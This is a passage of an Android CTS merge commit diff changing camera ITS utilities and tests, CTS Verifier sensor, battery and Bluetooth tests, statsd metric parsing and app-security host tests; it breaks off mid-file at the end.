diff options
author | Android Build Coastguard Worker <android-build-coastguard-worker@google.com> | 2021-09-11 03:11:55 +0000 |
---|---|---|
committer | Android Build Coastguard Worker <android-build-coastguard-worker@google.com> | 2021-09-11 03:11:55 +0000 |
commit | 2a9cd3bf87bdbab31bdda5abb39d6a5e22ef802b (patch) | |
tree | 10e54e1e2087bcc86e4fe5f316a5ec6447d9e9bc | |
parent | f33704068e6a945d93e1a331b8f93938c757f9b8 (diff) | |
parent | bfb933f7c4e54ab82688901d877c74d5baade06b (diff) | |
download | cts-android-mainline-12.0.0_r15.tar.gz |
Snap for 7723506 from bfb933f7c4e54ab82688901d877c74d5baade06b to mainline-permission-releaseandroid-mainline-12.0.0_r15
Change-Id: Ieabc40227215ae705c5aa8d2afa568a02b3e29b2
203 files changed, 4322 insertions, 550 deletions
diff --git a/apps/CameraITS/tests/scene1_1/test_crop_regions.py b/apps/CameraITS/tests/scene1_1/test_crop_regions.py index 148d8637996..77e35edfa07 100644 --- a/apps/CameraITS/tests/scene1_1/test_crop_regions.py +++ b/apps/CameraITS/tests/scene1_1/test_crop_regions.py @@ -17,14 +17,13 @@ import logging import os.path -from mobly import test_runner -import numpy as np - -import its_base_test import camera_properties_utils import capture_request_utils import image_processing_utils +import its_base_test import its_session_utils +from mobly import test_runner +import numpy as np import target_exposure_utils # 5 regions specified in normalized (x, y, w, h) coords. @@ -64,7 +63,7 @@ class CropRegionsTest(its_base_test.ItsBaseTest): ax, ay = a['left'], a['top'] aw, ah = a['right'] - a['left'], a['bottom'] - a['top'] e, s = target_exposure_utils.get_target_exposure_combos( - props, cam)['minSensitivity'] + log_path, cam)['minSensitivity'] logging.debug('Active sensor region (%d,%d %dx%d)', ax, ay, aw, ah) # Uses a 2x digital zoom. diff --git a/apps/CameraITS/tests/scene2_d/scene2_d.png b/apps/CameraITS/tests/scene2_d/scene2_d.png Binary files differindex e2a33e7b489..5365f3fb19d 100644 --- a/apps/CameraITS/tests/scene2_d/scene2_d.png +++ b/apps/CameraITS/tests/scene2_d/scene2_d.png diff --git a/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png b/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png Binary files differindex df700c3893d..21b068bf382 100644 --- a/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png +++ b/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png diff --git a/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png b/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png Binary files differindex 672ea303443..30d6813bc31 100644 --- a/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png +++ b/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png diff --git a/apps/CameraITS/tests/scene2_e/scene2_e.png b/apps/CameraITS/tests/scene2_e/scene2_e.png Binary files differindex b9554b33c9f..c64f47b61fa 100644 --- a/apps/CameraITS/tests/scene2_e/scene2_e.png +++ b/apps/CameraITS/tests/scene2_e/scene2_e.png diff --git a/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png b/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png Binary files differindex 92e3444ee20..7dbb41a44e4 100644 --- a/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png +++ b/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png diff --git a/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png b/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png Binary files differindex d8cca5c5b64..4ee532c19cb 100644 --- a/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png +++ b/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png diff --git a/apps/CameraITS/utils/camera_properties_utils.py b/apps/CameraITS/utils/camera_properties_utils.py index 117ba2132a8..dcdf731e468 100644 --- a/apps/CameraITS/utils/camera_properties_utils.py +++ b/apps/CameraITS/utils/camera_properties_utils.py @@ -737,7 +737,7 @@ def post_raw_sensitivity_boost(props): Boolean. True if android.control.postRawSensitivityBoost is supported. """ return ( - 'android.control.postRawSensitivityBoostRange' in props.keys() and + 'android.control.postRawSensitivityBoostRange' in props['camera.characteristics.keys'] and props.get('android.control.postRawSensitivityBoostRange') != [100, 100]) diff --git a/apps/CameraITS/utils/image_processing_utils.py b/apps/CameraITS/utils/image_processing_utils.py index c041e240a64..23432f1fcc8 100644 --- a/apps/CameraITS/utils/image_processing_utils.py +++ b/apps/CameraITS/utils/image_processing_utils.py @@ -23,14 +23,13 @@ import random import sys import unittest +import capture_request_utils +import cv2 +import error_util import numpy from PIL import Image -import cv2 -import capture_request_utils -import error_util - # The matrix is from JFIF spec DEFAULT_YUV_TO_RGB_CCM = numpy.matrix([[1.000, 0.000, 1.402], [1.000, -0.344, -0.714], @@ -347,6 +346,40 @@ def convert_capture_to_planes(cap, props=None): raise error_util.CameraItsError('Invalid format %s' % (cap['format'])) +def downscale_image(img, f): + """Shrink an image by a given integer factor. + + This function computes output pixel values by averaging over rectangular + regions of the input image; it doesn't skip or sample pixels, and all input + image pixels are evenly weighted. + + If the downscaling factor doesn't cleanly divide the width and/or height, + then the remaining pixels on the right or bottom edge are discarded prior + to the downscaling. + + Args: + img: The input image as an ndarray. + f: The downscaling factor, which should be an integer. + + Returns: + The new (downscaled) image, as an ndarray. + """ + h, w, chans = img.shape + f = int(f) + assert f >= 1 + h = (h//f)*f + w = (w//f)*f + img = img[0:h:, 0:w:, ::] + chs = [] + for i in range(chans): + ch = img.reshape(h*w*chans)[i::chans].reshape(h, w) + ch = ch.reshape(h, w//f, f).mean(2).reshape(h, w//f) + ch = ch.T.reshape(w//f, h//f, f).mean(2).T.reshape(h//f, w//f) + chs.append(ch.reshape(h*w//(f*f))) + img = numpy.vstack(chs).T.reshape(h//f, w//f, chans) + return img + + def convert_raw_to_rgb_image(r_plane, gr_plane, gb_plane, b_plane, props, cap_res): """Convert a Bayer raw-16 image to an RGB image. diff --git a/apps/CameraITS/utils/opencv_processing_utils.py b/apps/CameraITS/utils/opencv_processing_utils.py index 69bad61e991..6cc692b4258 100644 --- a/apps/CameraITS/utils/opencv_processing_utils.py +++ b/apps/CameraITS/utils/opencv_processing_utils.py @@ -557,29 +557,17 @@ def get_angle(input_img): class Cv2ImageProcessingUtilsTests(unittest.TestCase): """Unit tests for this module.""" - def test_get_angle_identify_unrotated_chessboard_angle(self): - normal_img_path = os.path.join( - TEST_IMG_DIR, 'rotated_chessboards/normal.jpg') - wide_img_path = os.path.join( - TEST_IMG_DIR, 'rotated_chessboards/wide.jpg') - normal_img = cv2.cvtColor(cv2.imread(normal_img_path), cv2.COLOR_BGR2GRAY) - wide_img = cv2.cvtColor(cv2.imread(wide_img_path), cv2.COLOR_BGR2GRAY) - normal_angle = get_angle(normal_img) - wide_angle = get_angle(wide_img) - e_msg = f'Angle: 0, Regular: {normal_angle}, Wide: {wide_angle}' - self.assertEqual(get_angle(normal_img), 0, e_msg) - self.assertEqual(get_angle(wide_img), 0, e_msg) - def test_get_angle_identify_rotated_chessboard_angle(self): # Array of the image files and angles containing rotated chessboards. test_cases = [ - ('_15_ccw', 15), - ('_30_ccw', 30), - ('_45_ccw', 45), - ('_60_ccw', 60), - ('_75_ccw', 75), - ('_90_ccw', 90) + ('', 0), + ('_15_ccw', -15), + ('_30_ccw', -30), + ('_45_ccw', -45), + ('_60_ccw', -60), + ('_75_ccw', -75), ] + test_fails = '' # For each rotated image pair (normal, wide), check angle against expected. for suffix, angle in test_cases: @@ -594,13 +582,21 @@ class Cv2ImageProcessingUtilsTests(unittest.TestCase): wide_img = cv2.cvtColor(cv2.imread(wide_img_path), cv2.COLOR_BGR2GRAY) # Assert angle as expected. - normal_angle = get_angle(normal_img) - wide_angle = get_angle(wide_img) - e_msg = f'Angle: {angle}, Regular: {normal_angle}, Wide: {wide_angle}' - self.assertTrue( - numpy.isclose(abs(normal_angle), angle, ANGLE_CHECK_TOL), e_msg) - self.assertTrue( - numpy.isclose(abs(wide_angle), angle, ANGLE_CHECK_TOL), e_msg) + normal = get_angle(normal_img) + wide = get_angle(wide_img) + valid_angles = (angle, angle+90) # try both angle & +90 due to squares + e_msg = (f'\n Rotation angle test failed: {angle}, extracted normal: ' + f'{normal:.2f}, wide: {wide:.2f}, valid_angles: {valid_angles}') + matched_angles = False + for a in valid_angles: + if (math.isclose(normal, a, abs_tol=ANGLE_CHECK_TOL) and + math.isclose(wide, a, abs_tol=ANGLE_CHECK_TOL)): + matched_angles = True + + if not matched_angles: + test_fails += e_msg + + self.assertEqual(len(test_fails), 0, test_fails) if __name__ == '__main__': diff --git a/apps/CtsVerifier/res/layout-land/sensor_test.xml b/apps/CtsVerifier/res/layout-land/sensor_test.xml index 5dbd95a74fb..9d8f4d68caf 100644 --- a/apps/CtsVerifier/res/layout-land/sensor_test.xml +++ b/apps/CtsVerifier/res/layout-land/sensor_test.xml @@ -46,7 +46,7 @@ <android.opengl.GLSurfaceView android:id="@+id/gl_surface_view" android:visibility="gone" - android:layout_width="0dp" + android:layout_width="@dimen/snsr_glview_size" android:layout_height="match_parent" android:layout_weight="1"/> diff --git a/apps/CtsVerifier/res/layout-port/sensor_test.xml b/apps/CtsVerifier/res/layout-port/sensor_test.xml index 024a3f388fe..9d00b86fc7b 100644 --- a/apps/CtsVerifier/res/layout-port/sensor_test.xml +++ b/apps/CtsVerifier/res/layout-port/sensor_test.xml @@ -37,7 +37,7 @@ <android.opengl.GLSurfaceView android:id="@+id/gl_surface_view" android:visibility="gone" - android:layout_height="0dp" + android:layout_height="@dimen/snsr_glview_size" android:layout_weight="1" android:layout_width="match_parent"/> diff --git a/apps/CtsVerifier/res/layout-small/sensor_test.xml b/apps/CtsVerifier/res/layout-small/sensor_test.xml index 348e3219dc3..7f2805eb2e9 100644 --- a/apps/CtsVerifier/res/layout-small/sensor_test.xml +++ b/apps/CtsVerifier/res/layout-small/sensor_test.xml @@ -37,7 +37,7 @@ <android.opengl.GLSurfaceView android:id="@+id/gl_surface_view" android:visibility="gone" - android:layout_height="0dp" + android:layout_height="@dimen/snsr_glview_size" android:layout_weight="1" android:layout_width="match_parent"/> diff --git a/apps/CtsVerifier/res/values-small-watch/dimens.xml b/apps/CtsVerifier/res/values-small-watch/dimens.xml new file mode 100644 index 00000000000..24e84c5b02c --- /dev/null +++ b/apps/CtsVerifier/res/values-small-watch/dimens.xml @@ -0,0 +1,18 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- Copyright (C) 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> +<resources> + <dimen name="snsr_glview_size">80dp</dimen> +</resources> diff --git a/apps/CtsVerifier/res/values/dimens.xml b/apps/CtsVerifier/res/values/dimens.xml index faea2b54180..891e740a760 100644 --- a/apps/CtsVerifier/res/values/dimens.xml +++ b/apps/CtsVerifier/res/values/dimens.xml @@ -36,6 +36,8 @@ <dimen name="snsr_view_padding_left">8dp</dimen> <dimen name="snsr_view_padding_right">8dp</dimen> + <dimen name="snsr_glview_size">0dp</dimen> + <dimen name="js_padding">10dp</dimen> <!-- Default screen margins, per the Android Design guidelines. --> diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml index cb80a9923f1..b6b46f53f4d 100644 --- a/apps/CtsVerifier/res/values/strings.xml +++ b/apps/CtsVerifier/res/values/strings.xml @@ -15,6 +15,7 @@ --> <resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2"> <string name="app_name">CTS Verifier</string> + <string name="module_id">noabi CtsVerifier</string> <string name="title_version">CTS Verifier %1$s</string> @@ -875,7 +876,8 @@ <string name="ibo_test">Ignore Battery Optimizations Test</string> <string name="ibo_test_info"> This test verifies that the device provides a user affordance to ask the user if the system - should disable battery optimizations for an app. + should disable battery optimizations for an app and to allow a user to remove the app from + the exemption list. </string> <string name="ibo_test_start_unexempt_app"> Remove the test app from the ignore battery optimizations list to begin the test. (Try going @@ -887,8 +889,9 @@ <string name="ibo_next_to_confirm">Press next to confirm.</string> <string name="ibo_app_not_exempted">The app is not exempted from battery optimizations.</string> <string name="ibo_unexempt_app"> - Remove the test app from the ignore battery optimizations list. (Try going - to the App Info page and make sure the system is optimizing battery for the app.) + Remove the test app from the ignore battery optimizations list. (Either run \"adb shell cmd + deviceidle whitelist -com.android.cts.verifier\" or open the list of apps and their + exemption statuses. Find the test app in the list and remove the app\'s exemption.) </string> <string name="ibo_app_is_exempted">The app is exempted from battery optimizations.</string> <string name="ibo_exempt_app_list"> diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java index 3c43953a740..c1e43e1669f 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java @@ -19,35 +19,26 @@ package com.android.cts.verifier; import android.content.Context; import android.os.Build; import android.text.TextUtils; -import android.util.Xml; import com.android.compatibility.common.util.DevicePropertyInfo; import com.android.compatibility.common.util.ICaseResult; import com.android.compatibility.common.util.IInvocationResult; import com.android.compatibility.common.util.IModuleResult; -import com.android.compatibility.common.util.InvocationResult; import com.android.compatibility.common.util.ITestResult; -import com.android.compatibility.common.util.MetricsXmlSerializer; +import com.android.compatibility.common.util.InvocationResult; import com.android.compatibility.common.util.ReportLog; import com.android.compatibility.common.util.TestResultHistory; import com.android.compatibility.common.util.TestStatus; import com.android.cts.verifier.TestListActivity.DisplayMode; import com.android.cts.verifier.TestListAdapter.TestListItem; -import org.xmlpull.v1.XmlSerializer; - -import java.io.ByteArrayOutputStream; -import java.io.IOException; import java.text.DateFormat; import java.text.SimpleDateFormat; -import java.util.Arrays; import java.util.ArrayList; -import java.util.Date; -import java.util.HashMap; +import java.util.Arrays; import java.util.HashSet; import java.util.List; import java.util.Locale; -import java.util.Map; import java.util.Map.Entry; import java.util.Set; @@ -72,7 +63,6 @@ class TestResultsReport { private static final String TEST_TAG = "test"; private static final String TEST_DETAILS_TAG = "details"; - private static final String MODULE_ID = "noabi CtsVerifier"; private static final String TEST_CASE_NAME = "manualTests"; private final Context mContext; @@ -91,7 +81,8 @@ class TestResultsReport { String versionBaseOs = null; String versionSecurityPatch = null; IInvocationResult result = new InvocationResult(); - IModuleResult moduleResult = result.getOrCreateModule(MODULE_ID); + IModuleResult moduleResult = result.getOrCreateModule( + mContext.getResources().getString(R.string.module_id)); // Collect build fields available in API level 21 if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java index 9af7e14c0ac..c5308065ac3 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java @@ -150,6 +150,7 @@ public class AudioInColdStartLatencyActivity } mRecorder.stopStream(); + mRecorder.teardownStream(); mIsTestRunning = false; diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java index 8f6c7f945f6..1d782806f0b 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java @@ -112,10 +112,6 @@ public class AudioOutColdStartLatencyActivity return mColdStartlatencyMS; } - protected void stopAudio() { - stopAudioTest(); - } - void startOutTimer() { TimerTask task = new TimerTask() { public void run() { @@ -198,6 +194,8 @@ public class AudioOutColdStartLatencyActivity } mPlayer.stopStream(); + mPlayer.teardownStream(); + mIsTestRunning = false; stopOutTimer(); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java index 29e23c79cdb..beed70aa1f2 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java @@ -77,12 +77,6 @@ public class IgnoreBatteryOptimizationsTestActivity extends OrderedTestActivity return true; } - private void openAppInfoPage() { - Intent appInfoIntent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS); - appInfoIntent.setData(Uri.parse("package:" + getPackageName())); - startActivity(appInfoIntent); - } - private void openIgnoreBatteryOptimizationsAppList() { Intent intent = new Intent(Settings.ACTION_IGNORE_BATTERY_OPTIMIZATION_SETTINGS); startActivity(intent); @@ -101,7 +95,7 @@ public class IgnoreBatteryOptimizationsTestActivity extends OrderedTestActivity @Override protected void onNextClick() { if (isExempted()) { - openAppInfoPage(); + openIgnoreBatteryOptimizationsAppList(); } else { succeed(); } @@ -151,7 +145,7 @@ public class IgnoreBatteryOptimizationsTestActivity extends OrderedTestActivity @Override protected void onNextClick() { if (isExempted()) { - openAppInfoPage(); + openIgnoreBatteryOptimizationsAppList(); } else { succeed(); } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java index 54f8ad1d304..90848a9e07f 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java @@ -17,7 +17,9 @@ package com.android.cts.verifier.bluetooth;
import android.bluetooth.BluetoothAdapter;
+import android.content.pm.PackageManager;
import android.os.Bundle;
+import android.os.SystemProperties;
import com.android.cts.verifier.ManifestTestListAdapter;
import com.android.cts.verifier.PassFailButtons;
@@ -42,6 +44,16 @@ public class BleSecureClientTestListActivity extends PassFailButtons.TestListAct "com.android.cts.verifier.bluetooth.BleAdvertiserHardwareScanFilterActivity.");
}
+ // RPA is optional on TVs already released before Android 11
+ boolean isTv = getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+ int firstSdk = SystemProperties.getInt("ro.product.first_api_level", 0);
+ if (isTv && (firstSdk <= 29)) {
+ disabledTest.add(
+ "com.android.cts.verifier.bluetooth.BleSecureConnectionPriorityClientTestActivity");
+ disabledTest.add(
+ "com.android.cts.verifier.bluetooth.BleSecureEncryptedClientTestActivity");
+ }
+
setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),
disabledTest.toArray(new String[disabledTest.size()])));
}
diff --git a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java index 11ecfa67baa..671e12bc749 100644 --- a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java +++ b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java @@ -30,6 +30,7 @@ import com.android.internal.os.nano.StatsdConfigProto.FieldValueMatcher; import com.android.internal.os.nano.StatsdConfigProto.SimpleAtomMatcher; import com.android.internal.os.nano.StatsdConfigProto.StatsdConfig; import com.android.os.nano.AtomsProto; +import com.android.os.nano.StatsLog; import com.android.os.nano.StatsLog.ConfigMetricsReportList; import com.android.queryable.Queryable; @@ -184,7 +185,10 @@ public class EnterpriseMetricsRecorder implements AutoCloseable, Queryable { return Arrays.stream(reportList.reports) .flatMap(s -> Arrays.stream(s.metrics.clone())) .filter(s -> s.getEventMetrics() != null && s.getEventMetrics().data != null) - .flatMap(statsLogReport -> Arrays.stream(statsLogReport.getEventMetrics().data.clone())) + .flatMap(statsLogReport -> Arrays.stream( + statsLogReport.getEventMetrics().data.clone())) + .flatMap(eventMetricData -> Arrays.stream( + backfillAggregatedAtomsinEventMetric(eventMetricData))) .sorted(Comparator.comparing(e -> e.elapsedTimestampNanos)) .map(e -> e.atom) .filter((Objects::nonNull)) @@ -193,4 +197,20 @@ public class EnterpriseMetricsRecorder implements AutoCloseable, Queryable { .map(EnterpriseMetricInfo::new) .collect(Collectors.toList()); } + + private StatsLog.EventMetricData[] backfillAggregatedAtomsinEventMetric( + StatsLog.EventMetricData metricData) { + if (metricData.aggregatedAtomInfo == null) { + return new StatsLog.EventMetricData[]{metricData}; + } + List<StatsLog.EventMetricData> data = new ArrayList<>(); + StatsLog.AggregatedAtomInfo atomInfo = metricData.aggregatedAtomInfo; + for (long timestamp : atomInfo.elapsedTimestampNanos) { + StatsLog.EventMetricData newMetricData = new StatsLog.EventMetricData(); + newMetricData.atom = atomInfo.atom; + newMetricData.elapsedTimestampNanos = timestamp; + data.add(newMetricData); + } + return data.toArray(new StatsLog.EventMetricData[0]); + } } diff --git a/cts-camera-hal.xml b/cts-camera-hal.xml new file mode 100644 index 00000000000..ec049c067d7 --- /dev/null +++ b/cts-camera-hal.xml @@ -0,0 +1,30 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- Copyright (C) 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> +<configuration description="Runs a subset of CTS tests for Camera HAL "> + <option name="plan" value="cts-camera-hal" /> + <option name="result-attribute" key="camera-hal" value="1" /> + + <!-- All camera CTS tests --> + <option name="compatibility:include-filter" value="CtsCameraTestCases" /> + + <!-- All related tests --> + <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testCameraFeatures"/> + <option name="compatibility:include-filter" value="CtsCameraApi25TestCases" /> + <option name="compatibility:include-filter" value="CtsCameraApi31TestCases" /> + <option name="compatibility:include-filter" value="CtsPermissionTestCases" /> + <option name="compatibility:include-filter" value="CtsViewTestCases" /> + +</configuration>
\ No newline at end of file diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java index 1006c4782d4..3c6729217e7 100644 --- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java +++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java @@ -150,7 +150,7 @@ public class CompatChangesSelinuxTest extends CompatChangeGatingTestCase { private void startApp() throws Exception { runCommand("am start -n " + TEST_PKG + "/" + TEST_PKG + ".Empty"); - Thread.currentThread().sleep(100); + Thread.currentThread().sleep(5000); } diff --git a/hostsidetests/appcompat/host/lib/Android.bp b/hostsidetests/appcompat/host/lib/Android.bp index 8f444871abd..f6e664ec0cd 100644 --- a/hostsidetests/appcompat/host/lib/Android.bp +++ b/hostsidetests/appcompat/host/lib/Android.bp @@ -26,5 +26,7 @@ java_library_host { "host-libprotobuf-java-full", "platformprotos", ], - + static_libs: [ + "cts-statsd-atom-host-test-utils", + ], } diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java index 28bd4d7aebd..9e127172016 100644 --- a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java +++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java @@ -19,12 +19,15 @@ package android.compat.cts; import static com.google.common.truth.Truth.assertThat; import static com.google.common.truth.Truth.assertWithMessage; +import android.cts.statsdatom.lib.ReportUtils; + import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper; import com.android.ddmlib.testrunner.RemoteAndroidTestRunner; import com.android.ddmlib.testrunner.TestResult.TestStatus; import com.android.internal.os.StatsdConfigProto; import com.android.os.AtomsProto; import com.android.os.AtomsProto.Atom; +import com.android.os.StatsLog; import com.android.os.StatsLog.ConfigMetricsReport; import com.android.os.StatsLog.ConfigMetricsReportList; import com.android.tradefed.build.IBuildInfo; @@ -46,7 +49,9 @@ import com.google.protobuf.InvalidProtocolBufferException; import java.io.File; import java.io.FileNotFoundException; import java.io.IOException; +import java.util.ArrayList; import java.util.Arrays; +import java.util.Collections; import java.util.List; import java.util.Map; import java.util.Set; @@ -195,19 +200,28 @@ public class CompatChangeGatingTestCase extends DeviceTestCase implements IBuild /** * Gets the statsd report. Note that this also deletes that report from statsd. */ - private List<ConfigMetricsReport> getReportList(long configId) throws DeviceNotAvailableException { + private ConfigMetricsReportList getReportList(long configId) + throws DeviceNotAvailableException { try { final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver(); getDevice().executeShellCommand(String.format(DUMP_REPORT_CMD, configId), receiver); return ConfigMetricsReportList.parser() - .parseFrom(receiver.getOutput()) - .getReportsList(); + .parseFrom(receiver.getOutput()); } catch (InvalidProtocolBufferException e) { throw new IllegalStateException("Failed to fetch and parse the statsd output report.", e); } } + private static List<StatsLog.EventMetricData> getEventMetricDataList( + ConfigMetricsReportList reportList) { + try { + return ReportUtils.getEventMetricDataList(reportList); + } catch (Exception e) { + throw new IllegalStateException("Failed to parse ConfigMetrisReportList", e); + } + } + /** * Creates and uploads a statsd config that matches the AppCompatibilityChangeReported atom * logged by a given package name. @@ -313,9 +327,7 @@ public class CompatChangeGatingTestCase extends DeviceTestCase implements IBuild private Map<Long, Boolean> getReportedChanges(long configId, String pkgName) throws DeviceNotAvailableException { final int packageUid = getUid(pkgName); - return getReportList(configId).stream() - .flatMap(report -> report.getMetricsList().stream()) - .flatMap(metric -> metric.getEventMetrics().getDataList().stream()) + return getEventMetricDataList(getReportList(configId)).stream() .filter(eventMetricData -> eventMetricData.hasAtom()) .map(eventMetricData -> eventMetricData.getAtom()) .map(atom -> atom.getAppCompatibilityChangeReported()) diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java index 67e4080830d..9848f8fcd83 100644 --- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java +++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java @@ -39,6 +39,7 @@ import com.google.protobuf.Parser; import org.junit.After; import org.junit.Assume; import org.junit.Before; +import org.junit.Ignore; import org.junit.Test; import org.junit.runner.RunWith; @@ -626,6 +627,7 @@ public class ExternalStorageHostTest extends BaseHostJUnit4Test { } @Test + @Ignore("Enable after b/197701722 is fixed") public void testMediaEscalation_RequestWriteFilePathSupport() throws Exception { // Not adding tests for MEDIA_28 and MEDIA_29 as they need W_E_S for write access via file // path for shared files, and will always have access as they have W_E_S. diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java index 4f049332f85..4374efe2725 100644 --- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java +++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java @@ -1321,6 +1321,11 @@ public class PkgInstallSignatureVerificationTest extends DeviceTestCase implemen } public void testInstallV4UpdateAfterRotation() throws Exception { + // V4 is only enabled on devices with Incremental feature + if (!hasIncrementalFeature()) { + return; + } + // This test performs an end to end verification of the update of an app with a rotated // key. The app under test exports a bound service that performs its own PackageManager key // rotation API verification, and the instrumentation test binds to the service and invokes diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java index 0c86e107924..e86aa574897 100644 --- a/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java +++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java @@ -50,7 +50,7 @@ public class RoleSecurityTest extends BaseHostJUnit4Test { final int initialUserId = getDevice().getCurrentUser(); final int secondaryUserId = userIds[1]; - getDevice().switchUser(secondaryUserId); + assumeTrue("Unable to switch user", getDevice().switchUser(secondaryUserId)); try { uninstallApp(ROLE_SECURITY_TEST_APP_PACKAGE); try { diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java index 36ad93290f4..bcf9ed7a09f 100644 --- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java +++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java @@ -19,6 +19,7 @@ package com.android.cts.mediastorageapp; import static 